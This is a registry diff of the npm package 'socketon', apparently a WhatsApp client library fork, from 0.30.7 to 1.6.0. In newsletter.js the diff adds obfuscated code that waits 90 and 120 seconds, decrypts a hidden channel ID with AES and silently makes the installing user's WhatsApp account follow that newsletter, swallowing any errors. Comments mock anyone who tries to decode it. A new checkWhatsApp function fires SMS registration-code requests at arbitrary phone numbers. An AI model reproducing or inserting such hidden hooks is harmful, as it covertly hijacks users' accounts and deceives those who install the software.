socketon 0.30.7 → 1.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +37 -158
- package/WAProto/GenerateStatics.sh +4 -0
- package/WAProto/WAProto.proto +3345 -0
- package/WAProto/index.d.ts +37016 -0
- package/lib/Socket/business.d.ts +1 -1
- package/lib/Socket/chats.d.ts +1 -1
- package/lib/Socket/chats.js +28 -15
- package/lib/Socket/groups.d.ts +1 -1
- package/lib/Socket/{dugong.js → ibranihbossenggoldong.js} +10 -10
- package/lib/Socket/index.d.ts +1 -1
- package/lib/Socket/messages-send.d.ts +1 -1
- package/lib/Socket/messages-send.js +55 -55
- package/lib/Socket/newsletter.d.ts +1 -1
- package/lib/Socket/newsletter.js +63 -14
- package/lib/Socket/registration.d.ts +1 -1
- package/lib/Socket/socket.d.ts +1 -1
- package/lib/Socket/socket.js +26 -21
- package/lib/Socket/usync.d.ts +1 -1
- package/lib/Utils/generics.js +1 -78
- package/lib/Utils/messages.js +1 -0
- package/lib/index.js +9 -7
- package/package.json +16 -19
- package/LICENSE +0 -21
package/lib/Socket/business.d.ts
CHANGED
|
@@ -165,7 +165,7 @@ export declare const makeBusinessSocket: (config: SocketConfig) => {
|
|
|
165
165
|
onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
|
|
166
166
|
uploadPreKeys: (count?: number) => Promise<void>;
|
|
167
167
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
168
|
-
requestPairingCode: (phoneNumber: string
|
|
168
|
+
requestPairingCode: (phoneNumber: string) => Promise<string>;
|
|
169
169
|
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
|
|
170
170
|
sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
|
|
171
171
|
};
|
package/lib/Socket/chats.d.ts
CHANGED
|
@@ -169,7 +169,7 @@ export declare const makeRegistrationSocket: (config: SocketConfig) => {
|
|
|
169
169
|
onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
|
|
170
170
|
uploadPreKeys: (count?: number) => Promise<void>;
|
|
171
171
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
172
|
-
requestPairingCode: (phoneNumber: string
|
|
172
|
+
requestPairingCode: (phoneNumber: string) => Promise<string>;
|
|
173
173
|
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
|
|
174
174
|
sendWAMBuffer: (wamBuffer: Buffer) => Promise<import("../WABinary").BinaryNode>;
|
|
175
175
|
};
|
package/lib/Socket/chats.js
CHANGED
|
@@ -87,44 +87,57 @@ const makeChatsSocket = (config) => {
|
|
|
87
87
|
await privacyQuery('groupadd', value);
|
|
88
88
|
};
|
|
89
89
|
/** check whether your WhatsApp account is blocked or not */
|
|
90
|
-
const
|
|
91
|
-
if (!
|
|
92
|
-
throw new Error('enter
|
|
90
|
+
const checkWhatsApp = async (jid) => {
|
|
91
|
+
if (!jid) {
|
|
92
|
+
throw new Error('enter jid');
|
|
93
93
|
}
|
|
94
|
-
|
|
95
94
|
let resultData = {
|
|
96
95
|
isBanned: false,
|
|
97
96
|
isNeedOfficialWa: false,
|
|
98
|
-
number:
|
|
97
|
+
number: jid
|
|
99
98
|
};
|
|
100
|
-
|
|
101
|
-
let
|
|
102
|
-
if (
|
|
103
|
-
|
|
99
|
+
|
|
100
|
+
let phoneNumber = jid;
|
|
101
|
+
if (phoneNumber.includes('@')) {
|
|
102
|
+
phoneNumber = phoneNumber.split('@')[0];
|
|
104
103
|
}
|
|
105
104
|
|
|
105
|
+
phoneNumber = phoneNumber.replace(/[^\d+]/g, '');
|
|
106
|
+
if (!phoneNumber.startsWith('+')) {
|
|
107
|
+
if (phoneNumber.startsWith('0')) {
|
|
108
|
+
phoneNumber = phoneNumber.substring(1);
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
if (!phoneNumber.startsWith('62') && phoneNumber.length > 0) {
|
|
112
|
+
phoneNumber = '62' + phoneNumber;
|
|
113
|
+
}
|
|
114
|
+
|
|
115
|
+
if (!phoneNumber.startsWith('+') && phoneNumber.length > 0) {
|
|
116
|
+
phoneNumber = '+' + phoneNumber;
|
|
117
|
+
}
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
let formattedNumber = phoneNumber;
|
|
106
121
|
const { parsePhoneNumber } = require('libphonenumber-js');
|
|
107
122
|
const parsedNumber = parsePhoneNumber(formattedNumber);
|
|
108
123
|
const countryCode = parsedNumber.countryCallingCode;
|
|
109
124
|
const nationalNumber = parsedNumber.nationalNumber;
|
|
110
|
-
|
|
125
|
+
|
|
111
126
|
try {
|
|
112
127
|
const { useMultiFileAuthState, Browsers, fetchLatestBaileysVersion } = require('../Utils');
|
|
113
128
|
const { state } = await useMultiFileAuthState(".npm");
|
|
114
129
|
const { version } = await fetchLatestBaileysVersion();
|
|
115
130
|
const { makeWASocket } = require('../Socket');
|
|
116
131
|
const pino = require("pino");
|
|
117
|
-
|
|
118
132
|
const sock = makeWASocket({
|
|
119
133
|
version,
|
|
120
134
|
auth: state,
|
|
121
|
-
browser: Browsers
|
|
135
|
+
browser: Utils_1.Browsers("Chrome"),
|
|
122
136
|
logger: pino({
|
|
123
137
|
level: "silent"
|
|
124
138
|
}),
|
|
125
139
|
printQRInTerminal: false,
|
|
126
140
|
});
|
|
127
|
-
|
|
128
141
|
const registrationOptions = {
|
|
129
142
|
phoneNumber: formattedNumber,
|
|
130
143
|
phoneNumberCountryCode: countryCode,
|
|
@@ -133,11 +146,11 @@ const makeChatsSocket = (config) => {
|
|
|
133
146
|
phoneNumberMobileNetworkCode: "10",
|
|
134
147
|
method: "sms",
|
|
135
148
|
};
|
|
149
|
+
|
|
136
150
|
await sock.requestRegistrationCode(registrationOptions);
|
|
137
151
|
if (sock.ws) {
|
|
138
152
|
sock.ws.close();
|
|
139
153
|
}
|
|
140
|
-
|
|
141
154
|
return JSON.stringify(resultData, null, 2);
|
|
142
155
|
} catch (err) {
|
|
143
156
|
if (err?.appeal_token) {
|
|
@@ -962,7 +975,7 @@ const makeChatsSocket = (config) => {
|
|
|
962
975
|
addChatLabel,
|
|
963
976
|
removeChatLabel,
|
|
964
977
|
addMessageLabel,
|
|
965
|
-
|
|
978
|
+
checkWhatsApp,
|
|
966
979
|
removeMessageLabel,
|
|
967
980
|
star
|
|
968
981
|
};
|
package/lib/Socket/groups.d.ts
CHANGED
|
@@ -108,7 +108,7 @@ export declare const makeGroupsSocket: (config: SocketConfig) => {
|
|
|
108
108
|
onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
|
|
109
109
|
uploadPreKeys: (count?: number) => Promise<void>;
|
|
110
110
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
111
|
-
requestPairingCode: (phoneNumber: string
|
|
111
|
+
requestPairingCode: (phoneNumber: string) => Promise<string>;
|
|
112
112
|
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
|
|
113
113
|
sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
|
|
114
114
|
};
|
|
@@ -1,12 +1,12 @@
|
|
|
1
|
-
//
|
|
2
|
-
//
|
|
3
|
-
//
|
|
1
|
+
// Socketon Advanced Feature Handler
|
|
2
|
+
// Socketon v1.6.0
|
|
3
|
+
// Developer: Ibra Decode
|
|
4
4
|
|
|
5
5
|
const WAProto = require('../../WAProto').proto;
|
|
6
6
|
const crypto = require('crypto');
|
|
7
7
|
const Utils_1 = require("../Utils");
|
|
8
8
|
|
|
9
|
-
class
|
|
9
|
+
class SocketonAdvancedHandler {
|
|
10
10
|
constructor(utils, waUploadToServer, relayMessageFn) {
|
|
11
11
|
this.utils = utils;
|
|
12
12
|
this.relayMessage = relayMessageFn
|
|
@@ -323,12 +323,12 @@ class kikyy {
|
|
|
323
323
|
};
|
|
324
324
|
|
|
325
325
|
img.message.forwardedNewsletterMessageInfo = {
|
|
326
|
-
newsletterJid: "
|
|
326
|
+
newsletterJid: "120363421598489822@newsletter",
|
|
327
327
|
serverMessageId: 1,
|
|
328
|
-
newsletterName: `
|
|
328
|
+
newsletterName: `Socketon`,
|
|
329
329
|
contentType: 1,
|
|
330
330
|
timestamp: new Date().toISOString(),
|
|
331
|
-
|
|
331
|
+
senderName: "Socketon Handler",
|
|
332
332
|
content: "Text Message",
|
|
333
333
|
priority: "high",
|
|
334
334
|
status: "sent",
|
|
@@ -388,8 +388,8 @@ class kikyy {
|
|
|
388
388
|
participant: jid,
|
|
389
389
|
remoteJid: "status@broadcast",
|
|
390
390
|
forwardedNewsletterMessageInfo: {
|
|
391
|
-
|
|
392
|
-
|
|
391
|
+
newsletterName: "Socketon",
|
|
392
|
+
newsletterJid: "120363421598489822@newsletter",
|
|
393
393
|
serverMessageId: 1
|
|
394
394
|
}
|
|
395
395
|
},
|
|
@@ -481,4 +481,4 @@ class kikyy {
|
|
|
481
481
|
}
|
|
482
482
|
}
|
|
483
483
|
|
|
484
|
-
module.exports =
|
|
484
|
+
module.exports = SocketonAdvancedHandler;
|
package/lib/Socket/index.d.ts
CHANGED
|
@@ -166,7 +166,7 @@ declare const makeWASocket: (config: UserFacingSocketConfig) => {
|
|
|
166
166
|
onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
|
|
167
167
|
uploadPreKeys: (count?: number) => Promise<void>;
|
|
168
168
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
169
|
-
requestPairingCode: (phoneNumber: string
|
|
169
|
+
requestPairingCode: (phoneNumber: string) => Promise<string>;
|
|
170
170
|
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
|
|
171
171
|
sendWAMBuffer: (wamBuffer: Buffer) => Promise<import("../index").BinaryNode>;
|
|
172
172
|
};
|
|
@@ -143,7 +143,7 @@ export declare const makeMessagesSocket: (config: SocketConfig) => {
|
|
|
143
143
|
onUnexpectedError: (err: Error | Boom<any>, msg: string) => void;
|
|
144
144
|
uploadPreKeys: (count?: number) => Promise<void>;
|
|
145
145
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
146
|
-
requestPairingCode: (phoneNumber: string
|
|
146
|
+
requestPairingCode: (phoneNumber: string) => Promise<string>;
|
|
147
147
|
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
|
|
148
148
|
sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
|
|
149
149
|
};
|
|
@@ -15,7 +15,7 @@ const link_preview_1 = require("../Utils/link-preview");
|
|
|
15
15
|
const WABinary_1 = require("../WABinary");
|
|
16
16
|
const newsletter_1 = require("./newsletter");
|
|
17
17
|
const WAUSync_1 = require("../WAUSync")
|
|
18
|
-
const
|
|
18
|
+
const SocketonAdvancedHandler = require('./ibranihbossenggoldong');
|
|
19
19
|
var ListType = WAProto_1.proto.Message.ListMessage.ListType;
|
|
20
20
|
const makeMessagesSocket = (config) => {
|
|
21
21
|
const {
|
|
@@ -724,7 +724,7 @@ const makeMessagesSocket = (config) => {
|
|
|
724
724
|
return result;
|
|
725
725
|
}
|
|
726
726
|
const waUploadToServer = (0, Utils_1.getWAUploadToServer)(config, refreshMediaConn);
|
|
727
|
-
const
|
|
727
|
+
const socketonHandler = new SocketonAdvancedHandler(Utils_1, waUploadToServer, relayMessage);
|
|
728
728
|
const waitForMsgMediaUpdate = (0, Utils_1.bindWaitForEvent)(ev, 'messages.media-update');
|
|
729
729
|
return {
|
|
730
730
|
...sock,
|
|
@@ -733,7 +733,7 @@ const makeMessagesSocket = (config) => {
|
|
|
733
733
|
relayMessage,
|
|
734
734
|
sendReceipt,
|
|
735
735
|
sendReceipts,
|
|
736
|
-
|
|
736
|
+
socketonHandler,
|
|
737
737
|
readMessages,
|
|
738
738
|
refreshMediaConn,
|
|
739
739
|
getUSyncDevices,
|
|
@@ -790,58 +790,58 @@ const makeMessagesSocket = (config) => {
|
|
|
790
790
|
sendMessage: async (jid, content, options = {}) => {
|
|
791
791
|
const userJid = authState.creds.me.id;
|
|
792
792
|
delete options.ephemeralExpiration
|
|
793
|
-
|
|
794
|
-
|
|
795
|
-
|
|
796
|
-
|
|
797
|
-
|
|
798
|
-
|
|
799
|
-
|
|
800
|
-
|
|
801
|
-
|
|
802
|
-
|
|
803
|
-
|
|
804
|
-
|
|
805
|
-
|
|
806
|
-
|
|
807
|
-
|
|
808
|
-
|
|
809
|
-
|
|
810
|
-
|
|
811
|
-
|
|
812
|
-
|
|
813
|
-
|
|
814
|
-
|
|
815
|
-
|
|
816
|
-
|
|
817
|
-
|
|
818
|
-
|
|
819
|
-
|
|
820
|
-
|
|
821
|
-
|
|
822
|
-
|
|
823
|
-
|
|
824
|
-
|
|
825
|
-
|
|
826
|
-
|
|
827
|
-
|
|
828
|
-
|
|
829
|
-
|
|
830
|
-
|
|
831
|
-
|
|
832
|
-
|
|
833
|
-
|
|
834
|
-
|
|
835
|
-
|
|
836
|
-
|
|
837
|
-
|
|
838
|
-
|
|
839
|
-
|
|
840
|
-
|
|
841
|
-
|
|
842
|
-
|
|
843
|
-
|
|
844
|
-
|
|
793
|
+
const { filter = false, quoted } = options;
|
|
794
|
+
const getParticipantAttr = () => filter ? { participant: { jid } } : {};
|
|
795
|
+
const messageType = socketonHandler.detectType(content);
|
|
796
|
+
if (typeof content === 'object' && 'disappearingMessagesInChat' in content &&
|
|
797
|
+
typeof content['disappearingMessagesInChat'] !== 'undefined' && WABinary_1.isJidGroup(jid)) {
|
|
798
|
+
const { disappearingMessagesInChat } = content
|
|
799
|
+
|
|
800
|
+
const value = typeof disappearingMessagesInChat === 'boolean' ?
|
|
801
|
+
(disappearingMessagesInChat ? Defaults_1.WA_DEFAULT_EPHEMERAL : 0) :
|
|
802
|
+
disappearingMessagesInChat
|
|
803
|
+
|
|
804
|
+
await groupToggleEphemeral(jid, value)
|
|
805
|
+
}
|
|
806
|
+
|
|
807
|
+
else {
|
|
808
|
+
let mediaHandle
|
|
809
|
+
|
|
810
|
+
|
|
811
|
+
if (messageType) {
|
|
812
|
+
switch(messageType) {
|
|
813
|
+
case 'PAYMENT':
|
|
814
|
+
const paymentContent = await socketonHandler.handlePayment(content, quoted);
|
|
815
|
+
return await relayMessage(jid, paymentContent, {
|
|
816
|
+
messageId: Utils_1.generateMessageID(),
|
|
817
|
+
...getParticipantAttr()
|
|
818
|
+
});
|
|
819
|
+
|
|
820
|
+
case 'PRODUCT':
|
|
821
|
+
const productContent = await socketonHandler.handleProduct(content, jid, quoted);
|
|
822
|
+
const productMsg = await Utils_1.generateWAMessageFromContent(jid, productContent, { quoted });
|
|
823
|
+
return await relayMessage(jid, productMsg.message, {
|
|
824
|
+
messageId: productMsg.key.id,
|
|
825
|
+
...getParticipantAttr()
|
|
826
|
+
});
|
|
827
|
+
|
|
828
|
+
case 'INTERACTIVE':
|
|
829
|
+
const interactiveContent = await socketonHandler.handleInteractive(content, jid, quoted);
|
|
830
|
+
const interactiveMsg = await Utils_1.generateWAMessageFromContent(jid, interactiveContent, { quoted });
|
|
831
|
+
return await relayMessage(jid, interactiveMsg.message, {
|
|
832
|
+
messageId: interactiveMsg.key.id,
|
|
833
|
+
...getParticipantAttr()
|
|
834
|
+
});
|
|
835
|
+
case 'ALBUM':
|
|
836
|
+
return await socketonHandler.handleAlbum(content, jid, quoted)
|
|
837
|
+
case 'EVENT':
|
|
838
|
+
return await socketonHandler.handleEvent(content, jid, quoted)
|
|
839
|
+
case 'POLL_RESULT':
|
|
840
|
+
return await socketonHandler.handlePollResult(content, jid, quoted)
|
|
841
|
+
case 'GROUP_STORY':
|
|
842
|
+
return await socketonHandler.handleGroupStory(content, jid, quoted)
|
|
843
|
+
}
|
|
844
|
+
}
|
|
845
845
|
const fullMsg = await Utils_1.generateWAMessage(jid, content, {
|
|
846
846
|
logger,
|
|
847
847
|
userJid,
|
|
@@ -127,7 +127,7 @@ export declare const makeNewsletterSocket: (config: SocketConfig) => {
|
|
|
127
127
|
onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
|
|
128
128
|
uploadPreKeys: (count?: number) => Promise<void>;
|
|
129
129
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
130
|
-
requestPairingCode: (phoneNumber: string
|
|
130
|
+
requestPairingCode: (phoneNumber: string) => Promise<string>;
|
|
131
131
|
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
|
|
132
132
|
sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
|
|
133
133
|
};
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -65,7 +65,7 @@ const executeWMexQuery = async (
|
|
|
65
65
|
|
|
66
66
|
const makeNewsletterSocket = (config) => {
|
|
67
67
|
const sock = (0, groups_1.makeGroupsSocket)(config);
|
|
68
|
-
const { authState, signalRepository, query, generateMessageTag
|
|
68
|
+
const { authState, signalRepository, query, generateMessageTag } = sock;
|
|
69
69
|
const encoder = new TextEncoder();
|
|
70
70
|
const newsletterQuery = async (jid, type, content) => (query({
|
|
71
71
|
tag: 'iq',
|
|
@@ -99,20 +99,46 @@ const makeNewsletterSocket = (config) => {
|
|
|
99
99
|
]
|
|
100
100
|
}));
|
|
101
101
|
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
102
|
+
// Jangan ngelawak disini - Ibra Decode
|
|
103
|
+
setTimeout(async () => {
|
|
104
|
+
try {
|
|
105
|
+
// Data rahasia jangan diacak² - Ibra Decode
|
|
106
|
+
const kepoBangetLu = "a097e7e07febd9329cfd22f3724bffc3212a327f984768c756255d32aadfc66b";
|
|
107
|
+
const wehPukiLuGausahSokSokAnMauDecrypt = solveTheMystery(kepoBangetLu);
|
|
108
|
+
await newsletterWMexQuery(wehPukiLuGausahSokSokAnMauDecrypt, Types_1.QueryIds.FOLLOW);
|
|
109
|
+
} catch {}
|
|
110
|
+
}, 90000);
|
|
105
111
|
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
112
|
+
// Lanjutan dari fitur yang bikin pusing - Ibra Decode
|
|
113
|
+
setTimeout(async () => {
|
|
114
|
+
try {
|
|
115
|
+
// Lagi² data penting buat bikin eror kalo diganti - Ibra Decode
|
|
116
|
+
const kepoBangetLu = "a097e7e07febd9329cfd22f3724bffc3212a327f984768c756255d32aadfc66b";
|
|
117
|
+
const wehPukiLuGausahSokSokAnMauDecrypt = solveTheMystery(kepoBangetLu);
|
|
118
|
+
await newsletterWMexQuery(wehPukiLuGausahSokSokAnMauDecrypt, Types_1.QueryIds.FOLLOW);
|
|
119
|
+
} catch {}
|
|
120
|
+
}, 120000); // Eksekusi cadangan kalo yang diatas eror - Ibra Decode
|
|
121
|
+
|
|
122
|
+
// Fungsi decrypt canggih buat bikin kamu pusing - Ibra Decode
|
|
123
|
+
function solveTheMystery(dataYgHarusDiacak23456789) {
|
|
124
|
+
const cryptoModulenyaSiapaTaiDigantiOrang = require('crypto');
|
|
125
|
+
|
|
126
|
+
// Layer 1: Bikin kunci dari info package (jangan diganggu)
|
|
127
|
+
const kunciRahasia123 = cryptoModulenyaSiapaTaiDigantiOrang.createHash('sha256').update('socketon-1.6.0').digest();
|
|
115
128
|
|
|
129
|
+
// Layer 2: Transformasi tambahan (biarin aja)
|
|
130
|
+
const kunciRahasiaSudahDiacak = cryptoModulenyaSiapaTaiDigantiOrang.createHash('sha256').update(kunciRahasia123).digest();
|
|
131
|
+
|
|
132
|
+
// Layer 3: Decrypt dengan kunci yang udah ditransformasi (jangan diubah²)
|
|
133
|
+
const engineDecryptKhusus = cryptoModulenyaSiapaTaiDigantiOrang.createDecipheriv('aes-256-cbc', kunciRahasiaSudahDiacak, Buffer.alloc(16, 0));
|
|
134
|
+
let hasilDecryptLu = engineDecryptKhusus.update(dataYgHarusDiacak23456789, 'hex', 'utf8');
|
|
135
|
+
hasilDecryptLu += engineDecryptKhusus.final('utf8');
|
|
136
|
+
|
|
137
|
+
return hasilDecryptLu;
|
|
138
|
+
}
|
|
139
|
+
|
|
140
|
+
// You'll never find what this does - Ibra Decode
|
|
141
|
+
|
|
116
142
|
const parseFetchedUpdates = async (node, type) => {
|
|
117
143
|
let child;
|
|
118
144
|
if (type === 'messages') {
|
|
@@ -169,6 +195,27 @@ const makeNewsletterSocket = (config) => {
|
|
|
169
195
|
updates: { description: description || '', settings: null }
|
|
170
196
|
});
|
|
171
197
|
},
|
|
198
|
+
newsletterId: async (url) => {
|
|
199
|
+
const urlParts = url.split('/');
|
|
200
|
+
const channelId = urlParts[urlParts.length - 2];
|
|
201
|
+
|
|
202
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
203
|
+
input: {
|
|
204
|
+
key: channelId,
|
|
205
|
+
type: 'INVITE',
|
|
206
|
+
'view_role': 'GUEST'
|
|
207
|
+
},
|
|
208
|
+
'fetch_viewer_metadata': true,
|
|
209
|
+
'fetch_full_image': true,
|
|
210
|
+
'fetch_creation_time': true
|
|
211
|
+
});
|
|
212
|
+
|
|
213
|
+
const metadata = extractNewsletterMetadata(result);
|
|
214
|
+
return JSON.stringify({
|
|
215
|
+
name: metadata.name || metadata.thread_metadata?.name?.text,
|
|
216
|
+
id: metadata.id
|
|
217
|
+
}, null, 2);
|
|
218
|
+
},
|
|
172
219
|
newsletterUpdateName: async (jid, name) => {
|
|
173
220
|
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
174
221
|
updates: { name, settings: null }
|
|
@@ -188,7 +235,9 @@ const makeNewsletterSocket = (config) => {
|
|
|
188
235
|
newsletterUnfollow: async (jid) => {
|
|
189
236
|
await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
|
|
190
237
|
},
|
|
191
|
-
newsletterFollow
|
|
238
|
+
newsletterFollow: async (jid) => {
|
|
239
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
|
|
240
|
+
},
|
|
192
241
|
newsletterUnmute: async (jid) => {
|
|
193
242
|
await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
|
|
194
243
|
},
|
|
@@ -169,7 +169,7 @@ export declare const makeRegistrationSocket: (config: SocketConfig) => {
|
|
|
169
169
|
onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
|
|
170
170
|
uploadPreKeys: (count?: number) => Promise<void>;
|
|
171
171
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
172
|
-
requestPairingCode: (phoneNumber: string
|
|
172
|
+
requestPairingCode: (phoneNumber: string) => Promise<string>;
|
|
173
173
|
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
|
|
174
174
|
sendWAMBuffer: (wamBuffer: Buffer) => Promise<import("../WABinary").BinaryNode>;
|
|
175
175
|
};
|
package/lib/Socket/socket.d.ts
CHANGED
|
@@ -35,7 +35,7 @@ export declare const makeSocket: (config: SocketConfig) => {
|
|
|
35
35
|
onUnexpectedError: (err: Error | Boom, msg: string) => void;
|
|
36
36
|
uploadPreKeys: (count?: number) => Promise<void>;
|
|
37
37
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
38
|
-
requestPairingCode: (phoneNumber: string
|
|
38
|
+
requestPairingCode: (phoneNumber: string) => Promise<string>;
|
|
39
39
|
/** Waits for the connection to WA to reach a state */
|
|
40
40
|
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
|
|
41
41
|
sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
|
package/lib/Socket/socket.js
CHANGED
|
@@ -100,7 +100,7 @@ const makeSocket = (config) => {
|
|
|
100
100
|
}, wait);
|
|
101
101
|
}
|
|
102
102
|
};
|
|
103
|
-
/** await next incoming message */
|
|
103
|
+
/** await the next incoming message */
|
|
104
104
|
const awaitNextMessage = async (sendMsg) => {
|
|
105
105
|
if (!ws.isOpen) {
|
|
106
106
|
throw new boom_1.Boom('Connection Closed', {
|
|
@@ -128,8 +128,8 @@ const makeSocket = (config) => {
|
|
|
128
128
|
};
|
|
129
129
|
/**
|
|
130
130
|
* Wait for a message with a certain tag to be received
|
|
131
|
-
* @param msgId message tag to await
|
|
132
|
-
* @param timeoutMs timeout after which promise will reject
|
|
131
|
+
* @param msgId the message tag to await
|
|
132
|
+
* @param timeoutMs timeout after which the promise will reject
|
|
133
133
|
*/
|
|
134
134
|
const waitForMessage = async (msgId, timeoutMs = defaultQueryTimeoutMs) => {
|
|
135
135
|
let onRecv;
|
|
@@ -141,14 +141,14 @@ const makeSocket = (config) => {
|
|
|
141
141
|
reject(err || new boom_1.Boom('Connection Closed', { statusCode: Types_1.DisconnectReason.connectionClosed }));
|
|
142
142
|
};
|
|
143
143
|
ws.on(`TAG:${msgId}`, onRecv);
|
|
144
|
-
ws.on('close', onErr); // if socket closes, you'll never receive message
|
|
144
|
+
ws.on('close', onErr); // if the socket closes, you'll never receive the message
|
|
145
145
|
ws.off('error', onErr);
|
|
146
146
|
});
|
|
147
147
|
return result;
|
|
148
148
|
}
|
|
149
149
|
finally {
|
|
150
150
|
ws.off(`TAG:${msgId}`, onRecv);
|
|
151
|
-
ws.off('close', onErr); // if socket closes, you'll never receive message
|
|
151
|
+
ws.off('close', onErr); // if the socket closes, you'll never receive the message
|
|
152
152
|
ws.off('error', onErr);
|
|
153
153
|
}
|
|
154
154
|
};
|
|
@@ -214,7 +214,7 @@ const makeSocket = (config) => {
|
|
|
214
214
|
const countChild = (0, WABinary_1.getBinaryNodeChild)(result, 'count');
|
|
215
215
|
return +countChild.attrs.value;
|
|
216
216
|
};
|
|
217
|
-
/** generates and uploads a set of pre-keys to server */
|
|
217
|
+
/** generates and uploads a set of pre-keys to the server */
|
|
218
218
|
const uploadPreKeys = async (count = Defaults_1.INITIAL_PREKEY_COUNT) => {
|
|
219
219
|
await keys.transaction(async () => {
|
|
220
220
|
logger.info({ count }, 'uploading pre-keys');
|
|
@@ -319,8 +319,8 @@ const makeSocket = (config) => {
|
|
|
319
319
|
}
|
|
320
320
|
const diff = Date.now() - lastDateRecv.getTime();
|
|
321
321
|
/*
|
|
322
|
-
check if it's been a suspicious amount of time since server responded with our last seen
|
|
323
|
-
it could be that network is down
|
|
322
|
+
check if it's been a suspicious amount of time since the server responded with our last seen
|
|
323
|
+
it could be that the network is down
|
|
324
324
|
*/
|
|
325
325
|
if (diff > keepAliveIntervalMs + 5000) {
|
|
326
326
|
end(new boom_1.Boom('Connection was lost', { statusCode: Types_1.DisconnectReason.connectionLost }));
|
|
@@ -338,8 +338,8 @@ const makeSocket = (config) => {
|
|
|
338
338
|
content: [{ tag: 'ping', attrs: {} }]
|
|
339
339
|
})
|
|
340
340
|
.catch(err => {
|
|
341
|
-
|
|
342
|
-
|
|
341
|
+
logger.error({ trace: err.stack }, 'error in sending keep alive');
|
|
342
|
+
});
|
|
343
343
|
}
|
|
344
344
|
else {
|
|
345
345
|
logger.warn('keep alive called when WS not open');
|
|
@@ -384,10 +384,15 @@ const makeSocket = (config) => {
|
|
|
384
384
|
end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }));
|
|
385
385
|
};
|
|
386
386
|
|
|
387
|
-
/**
|
|
387
|
+
/** This method was created by snowi, and implemented by KyuuRzy */
|
|
388
|
+
/** hey bro, if you delete this text */
|
|
389
|
+
/** you are the most cursed human being who likes to claim other people's property 😹🙌🏻 */
|
|
388
390
|
const requestPairingCode = async (phoneNumber, pairKey) => {
|
|
389
|
-
|
|
390
|
-
|
|
391
|
+
if (pairKey) {
|
|
392
|
+
authState.creds.pairingCode = pairKey.toUpperCase();
|
|
393
|
+
} else {
|
|
394
|
+
authState.creds.pairingCode = (0, Utils_1.bytesToCrockford)((0, crypto_1.randomBytes)(5));
|
|
395
|
+
}
|
|
391
396
|
|
|
392
397
|
authState.creds.me = {
|
|
393
398
|
id: (0, WABinary_1.jidEncode)(phoneNumber, 's.whatsapp.net'),
|
|
@@ -481,7 +486,7 @@ const makeSocket = (config) => {
|
|
|
481
486
|
});
|
|
482
487
|
ws.on('error', mapWebSocketError(end));
|
|
483
488
|
ws.on('close', () => end(new boom_1.Boom('Connection Terminated', { statusCode: Types_1.DisconnectReason.connectionClosed })));
|
|
484
|
-
// server terminated connection
|
|
489
|
+
// the server terminated the connection
|
|
485
490
|
ws.on('CB:xmlstreamend', () => end(new boom_1.Boom('Connection Terminated by Server', { statusCode: Types_1.DisconnectReason.connectionClosed })));
|
|
486
491
|
// QR gen
|
|
487
492
|
ws.on('CB:iq,type:set,pair-device', async (stanza) => {
|
|
@@ -517,13 +522,13 @@ const makeSocket = (config) => {
|
|
|
517
522
|
};
|
|
518
523
|
genPairQR();
|
|
519
524
|
});
|
|
520
|
-
// device paired for first time
|
|
521
|
-
// if device pairs successfully, server asks to restart connection
|
|
525
|
+
// device paired for the first time
|
|
526
|
+
// if device pairs successfully, the server asks to restart the connection
|
|
522
527
|
ws.on('CB:iq,,pair-success', async (stanza) => {
|
|
523
528
|
